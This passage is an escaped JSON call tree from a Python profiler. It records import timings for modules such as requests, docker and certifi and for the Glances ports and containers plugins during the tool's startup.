\"_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000512\",\"time\": 0.002002,\"attributes\": {\"l573\": 0.0020015689951833338},\"children\": [{\"identifier\": \"_class_escape\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/_parser.py\\u0000312\",\"time\": 0.002002,\"attributes\": {\"l364\": 0.0020015689951833338},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/charset_normalizer/__init__.py\\u00001\",\"time\": 0.003998,\"attributes\": {\"l26\": 0.0019964189996244386, \"l27\": 0.0020012580062029883},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.003998,\"attributes\": {\"l1371\": 0.003997677005827427},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.003998,\"attributes\": {\"l1342\": 0.0019964189996244386, \"l1326\": 0.0020012580062029883},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001996,\"attributes\": {\"l938\": 0.0019964189996244386},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001996,\"attributes\": {\"cSourceFileLoader\": 0.0019964189996244386, \"l762\": 0.0019964189996244386},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001996,\"attributes\": {\"l491\": 0.0019964189996244386},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/charset_normalizer/api.py\\u00001\",\"time\": 0.001996,\"attributes\": {\"l7\": 0.0019964189996244386},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001996,\"attributes\": {\"l1371\": 0.0019964189996244386},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001996,\"attributes\": {\"l1342\": 0.0019964189996244386},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001996,\"attributes\": {\"l924\": 0.0019964189996244386},\"children\": [{\"identifier\": \"module_from_spec\\u0000<frozen importlib._bootstrap>\\u0000809\",\"time\": 0.001996,\"attributes\": {\"l816\": 0.0019964189996244386},\"children\": [{\"identifier\": \"create_module\\u0000<frozen importlib._bootstrap_external>\\u00001054\",\"time\": 0.001996,\"attributes\": {\"cExtensionFileLoader\": 0.0019964189996244386, \"l1056\": 0.0019964189996244386},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001996,\"attributes\": {\"l491\": 0.0019964189996244386},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001996,\"attributes\": {\"l1371\": 0.0019964189996244386},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001996,\"attributes\": {\"l1342\": 0.0019964189996244386},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001996,\"attributes\": {\"l938\": 0.0019964189996244386},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001996,\"attributes\": {\"cSourceFileLoader\": 0.0019964189996244386, \"l758\": 0.0019964189996244386},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.001996,\"attributes\": {\"cSourceFileLoader\": 0.0019964189996244386, \"l854\": 0.0019964189996244386},\"children\": [{\"identifier\": \"get_data\\u0000<frozen importlib._bootstrap_external>\\u0000950\",\"time\": 0.001996,\"attributes\": {\"cSourceFileLoader\": 0.0019964189996244386, \"l954\": 0.0019964189996244386},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"_handle_fromlist\\u0000<frozen importlib._bootstrap>\\u00001401\",\"time\": 0.003997,\"attributes\": {\"l1426\": 0.003997455998614896},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.003997,\"attributes\": {\"l491\": 0.003997455998614896},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.003997,\"attributes\": {\"l1371\": 0.003997455998614896},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.003997,\"attributes\": {\"l1333\": 0.001998518993787002, \"l1342\": 0.0019989370048278943},\"children\": [{\"identifier\": \"_find_spec\\u0000<frozen importlib._bootstrap>\\u00001243\",\"time\": 0.001999,\"attributes\": {\"l1261\": 0.001998518993787002},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001999,\"attributes\": {\"l938\": 0.0019989370048278943},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001999,\"attributes\": {\"cSourceFileLoader\": 0.0019989370048278943, \"l762\": 0.0019989370048278943},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001999,\"attributes\": {\"l491\": 0.0019989370048278943},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/utils.py\\u00001\",\"time\": 0.001999,\"attributes\": {\"l64\": 0.0019989370048278943},\"children\": [{\"identifier\": \"where\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/certifi/core.py\\u000021\",\"time\": 0.001999,\"attributes\": {\"l40\": 0.0019989370048278943},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/resources/_common.py\\u000033\",\"time\": 0.001999,\"attributes\": {\"l46\": 0.0019989370048278943},\"children\": [{\"identifier\": \"files\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/resources/_common.py\\u000051\",\"time\": 0.001999,\"attributes\": {\"l56\": 0.0019989370048278943},\"children\": [{\"identifier\": \"from_package\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/resources/_common.py\\u0000108\",\"time\": 0.001999,\"attributes\": {\"l117\": 0.0019989370048278943},\"children\": [{\"identifier\": \"get_resource_reader\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/resources/_adapters.py\\u000028\",\"time\": 0.001999,\"attributes\": {\"cTraversableResourcesLoader\": 0.0019989370048278943, \"l29\": 0.0019989370048278943},\"children\": [{\"identifier\": \"_native\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/resources/_adapters.py\\u0000149\",\"time\": 0.001999,\"attributes\": {\"cCompatibilityFiles\": 0.0019989370048278943, \"l153\": 0.0019989370048278943},\"children\": [{\"identifier\": \"_reader\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/resources/_adapters.py\\u0000144\",\"time\": 0.001999,\"attributes\": {\"cCompatibilityFiles\": 0.0019989370048278943, \"l147\": 0.0019989370048278943},\"children\": [{\"identifier\": \"_check_name_wrapper\\u0000<frozen importlib._bootstrap_external>\\u0000404\",\"time\": 0.001999,\"attributes\": {\"cSourceFileLoader\": 0.0019989370048278943, \"l410\": 0.0019989370048278943},\"children\": [{\"identifier\": \"get_resource_reader\\u0000<frozen importlib._bootstrap_external>\\u0000959\",\"time\": 0.001999,\"attributes\": {\"cSourceFileLoader\": 0.0019989370048278943, \"l961\": 0.0019989370048278943},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001999,\"attributes\": {\"l1371\": 0.0019989370048278943},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001999,\"attributes\": {\"l1342\": 0.0019989370048278943},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001999,\"attributes\": {\"l938\": 0.0019989370048278943},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001999,\"attributes\": {\"cSourceFileLoader\": 0.0019989370048278943, \"l762\": 0.0019989370048278943},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001999,\"attributes\": {\"l491\": 0.0019989370048278943},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/readers.py\\u00001\",\"time\": 0.001999,\"attributes\": {\"l8\": 0.0019989370048278943},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001999,\"attributes\": {\"l1371\": 0.0019989370048278943},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001999,\"attributes\": {\"l1342\": 0.0019989370048278943},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001999,\"attributes\": {\"l938\": 0.0019989370048278943},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001999,\"attributes\": {\"cSourceFileLoader\": 0.0019989370048278943, \"l762\": 0.0019989370048278943},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001999,\"attributes\": {\"l491\": 0.0019989370048278943},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/resources/readers.py\\u00001\",\"time\": 0.001999,\"attributes\": {\"l64\": 0.0019989370048278943},\"children\": [{\"identifier\": \"__new__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/typing.py\\u00001963\",\"time\": 0.001999,\"attributes\": {\"l1980\": 0.0019989370048278943},\"children\": [{\"identifier\": \"__new__\\u0000<frozen abc>\\u0000105\",\"time\": 0.001999,\"attributes\": {\"l106\": 0.0019989370048278943},\"children\": [{\"identifier\": \"__init_subclass__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/typing.py\\u00002114\",\"time\": 0.001999,\"attributes\": {\"cMultiplexedPath\": 0.0019989370048278943, \"l2115\": 0.0019989370048278943},\"children\": [{\"identifier\": \"_generic_init_subclass\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/typing.py\\u00001160\",\"time\": 0.001999,\"attributes\": {\"cMultiplexedPath\": 0.0019989370048278943, \"l1195\": 0.0019989370048278943},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002001,\"attributes\": {\"l1371\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002001,\"attributes\": {\"l1342\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002001,\"attributes\": {\"l938\": 0.0020010059961350635},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002001,\"attributes\": {\"cSourceFileLoader\": 0.0020010059961350635, \"l762\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002001,\"attributes\": {\"l491\": 0.0020010059961350635},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/api.py\\u00001\",\"time\": 0.002001,\"attributes\": {\"l11\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_handle_fromlist\\u0000<frozen importlib._bootstrap>\\u00001401\",\"time\": 0.002001,\"attributes\": {\"l1426\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002001,\"attributes\": {\"l491\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002001,\"attributes\": {\"l1371\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002001,\"attributes\": {\"l1342\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002001,\"attributes\": {\"l938\": 0.0020010059961350635},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002001,\"attributes\": {\"cSourceFileLoader\": 0.0020010059961350635, \"l762\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002001,\"attributes\": {\"l491\": 0.0020010059961350635},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u00001\",\"time\": 0.002001,\"attributes\": {\"l15\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002001,\"attributes\": {\"l1371\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002001,\"attributes\": {\"l1342\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002001,\"attributes\": {\"l938\": 0.0020010059961350635},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002001,\"attributes\": {\"cSourceFileLoader\": 0.0020010059961350635, \"l762\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002001,\"attributes\": {\"l491\": 0.0020010059961350635},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u00001\",\"time\": 0.002001,\"attributes\": {\"l46\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002001,\"attributes\": {\"l1371\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002001,\"attributes\": {\"l1342\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002001,\"attributes\": {\"l938\": 0.0020010059961350635},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002001,\"attributes\": {\"cSourceFileLoader\": 0.0020010059961350635, \"l762\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002001,\"attributes\": {\"l491\": 0.0020010059961350635},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/models.py\\u00001\",\"time\": 0.002001,\"attributes\": {\"l54\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.002001,\"attributes\": {\"l1371\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.002001,\"attributes\": {\"l1342\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.002001,\"attributes\": {\"l938\": 0.0020010059961350635},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.002001,\"attributes\": {\"cSourceFileLoader\": 0.0020010059961350635, \"l762\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.002001,\"attributes\": {\"l491\": 0.0020010059961350635},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/status_codes.py\\u00001\",\"time\": 0.002001,\"attributes\": {\"l128\": 0.0020010059961350635},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/status_codes.py\\u0000109\",\"time\": 0.002001,\"attributes\": {\"l114\": 0.0020010059961350635},\"children\": [{\"identifier\": \"setattr\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/glances/plugins/ports/__init__.py\\u000073\",\"time\": 0.002000,\"attributes\": {\"cPortsPlugin\": 0.001999719002924394, \"l84\": 0.001999719002924394},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/glances/ports_list.py\\u000022\",\"time\": 0.002000,\"attributes\": {\"cGlancesPortsList\": 0.001999719002924394, \"l26\": 0.001999719002924394},\"children\": [{\"identifier\": \"load\\u0000/home/nicolargo/dev/glances/glances/ports_list.py\\u000028\",\"time\": 0.002000,\"attributes\": {\"cGlancesPortsList\": 0.001999719002924394, \"l64\": 0.001999719002924394},\"children\": [{\"identifier\": \"get_value\\u0000/home/nicolargo/dev/glances/glances/config.py\\u0000316\",\"time\": 0.002000,\"attributes\": {\"cConfig\": 0.001999719002924394, \"l327\": 0.001999719002924394},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/configparser.py\\u0000813\",\"time\": 0.002000,\"attributes\": {\"cConfigParser\": 0.001999719002924394, \"l840\": 0.001999719002924394},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"import_module\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/__init__.py\\u000071\",\"time\": 0.061060,\"attributes\": {\"l88\": 0.06106023099710001},\"children\": [{\"identifier\": \"_gcd_import\\u0000<frozen importlib._bootstrap>\\u00001386\",\"time\": 0.061060,\"attributes\": {\"l1398\": 0.06106023099710001},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.061060,\"attributes\": {\"l1371\": 0.06106023099710001},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.061060,\"attributes\": {\"l1342\": 0.06106023099710001},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.061060,\"attributes\": {\"l938\": 0.06106023099710001},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.061060,\"attributes\": {\"cSourceFileLoader\": 0.06106023099710001, \"l762\": 0.06106023099710001},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.061060,\"attributes\": {\"l491\": 0.06106023099710001},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u00001\",\"time\": 0.061060,\"attributes\": {\"l19\": 0.018002388002059888, \"l20\": 0.04305784299504012},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.061060,\"attributes\": {\"l1368\": 0.0020041690004291013, \"l1371\": 0.059056061996670906},\"children\": [{\"identifier\": \"__enter__\\u0000<frozen importlib._bootstrap>\\u0000419\",\"time\": 0.002004,\"attributes\": {\"c_ModuleLockManager\": 0.0020041690004291013, \"l421\": 0.0020041690004291013},\"children\": [{\"identifier\": \"acquire\\u0000<frozen importlib._bootstrap>\\u0000304\",\"time\": 0.002004,\"attributes\": {\"c_ModuleLock\": 0.0020041690004291013, \"l311\": 0.0020041690004291013},\"children\": [{\"identifier\": \"__enter__\\u0000<frozen importlib._bootstrap>\\u0000162\",\"time\": 0.002004,\"attributes\": {\"c_BlockingOnManager\": 0.0020041690004291013, \"l170\": 0.0020041690004291013},\"children\": [{\"identifier\": \"setdefault\\u0000<frozen importlib._bootstrap>\\u0000124\",\"time\": 0.002004,\"attributes\": {\"c_WeakValueDictionary\": 0.0020041690004291013, \"l132\": 0.0020041690004291013},\"children\": [{\"identifier\": \"__new__\\u0000<frozen importlib._bootstrap>\\u000074\",\"time\": 0.002004,\"attributes\": {\"l75\": 0.0020041690004291013},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.059056,\"attributes\": {\"l1342\": 0.059056061996670906},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.059056,\"attributes\": {\"l938\": 0.059056061996670906},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.059056,\"attributes\": {\"cSourceFileLoader\": 0.059056061996670906, \"l762\": 0.059056061996670906},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.059056,\"attributes\": {\"l491\": 0.059056061996670906},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u00001\",\"time\": 0.015998,\"attributes\": {\"l21\": 0.011995840999588836, \"l23\": 0.0020001140001113527, \"l32\": 0.002002264001930598},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.011996,\"attributes\": {\"l1371\": 0.011995840999588836},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.011996,\"attributes\": {\"l1342\": 0.011995840999588836},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.011996,\"attributes\": {\"l938\": 0.011995840999588836},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.011996,\"attributes\": {\"cSourceFileLoader\": 0.011995840999588836, \"l762\": 0.011995840999588836},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.011996,\"attributes\": {\"l491\": 0.011995840999588836},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/__init__.py\\u00001\",\"time\": 0.011996,\"attributes\": {\"l1\": 0.00799794100021245, \"l2\": 0.002002084002015181, \"l3\": 0.0019958159973612055},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.011996,\"attributes\": {\"l1371\": 0.011995840999588836},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.011996,\"attributes\": {\"l1342\": 0.011995840999588836},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.011996,\"attributes\": {\"l938\": 0.011995840999588836},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.011996,\"attributes\": {\"cSourceFileLoader\": 0.011995840999588836, \"l762\": 0.011995840999588836},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.011996,\"attributes\": {\"l491\": 0.011995840999588836},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/__init__.py\\u00001\",\"time\": 0.007998,\"attributes\": {\"l1\": 0.00799794100021245},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.007998,\"attributes\": {\"l1371\": 0.00799794100021245},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.007998,\"attributes\": {\"l1342\": 0.00799794100021245},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.007998,\"attributes\": {\"l938\": 0.00799794100021245},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.007998,\"attributes\": {\"cSourceFileLoader\": 0.00799794100021245, \"l762\": 0.00799794100021245},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.007998,\"attributes\": {\"l491\": 0.00799794100021245},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u00001\",\"time\": 0.007998,\"attributes\": {\"l10\": 0.0040671399983693846, \"l33\": 0.001929603997268714, \"l36\": 0.002001197004574351},\"children\": [{\"identifier\": \"_handle_fromlist\\u0000<frozen importlib._bootstrap>\\u00001401\",\"time\": 0.004067,\"attributes\": {\"l1426\": 0.0040671399983693846},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.004067,\"attributes\": {\"l491\": 0.0040671399983693846},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.004067,\"attributes\": {\"l1371\": 0.0040671399983693846},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.004067,\"attributes\": {\"l1342\": 0.0040671399983693846},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.004067,\"attributes\": {\"l938\": 0.0040671399983693846},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.004067,\"attributes\": {\"cSourceFileLoader\": 0.0040671399983693846, \"l762\": 0.0040671399983693846},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.004067,\"attributes\": {\"l491\": 0.0040671399983693846},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/auth.py\\u00001\",\"time\": 0.004067,\"attributes\": {\"l6\": 0.0040671399983693846},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.004067,\"attributes\": {\"l1371\": 0.0040671399983693846},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.004067,\"attributes\": {\"l1342\": 0.0040671399983693846},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.004067,\"attributes\": {\"l938\": 0.0040671399983693846},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.004067,\"attributes\": {\"cSourceFileLoader\": 0.0040671399983693846, \"l762\": 0.0040671399983693846},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.004067,\"attributes\": {\"l491\": 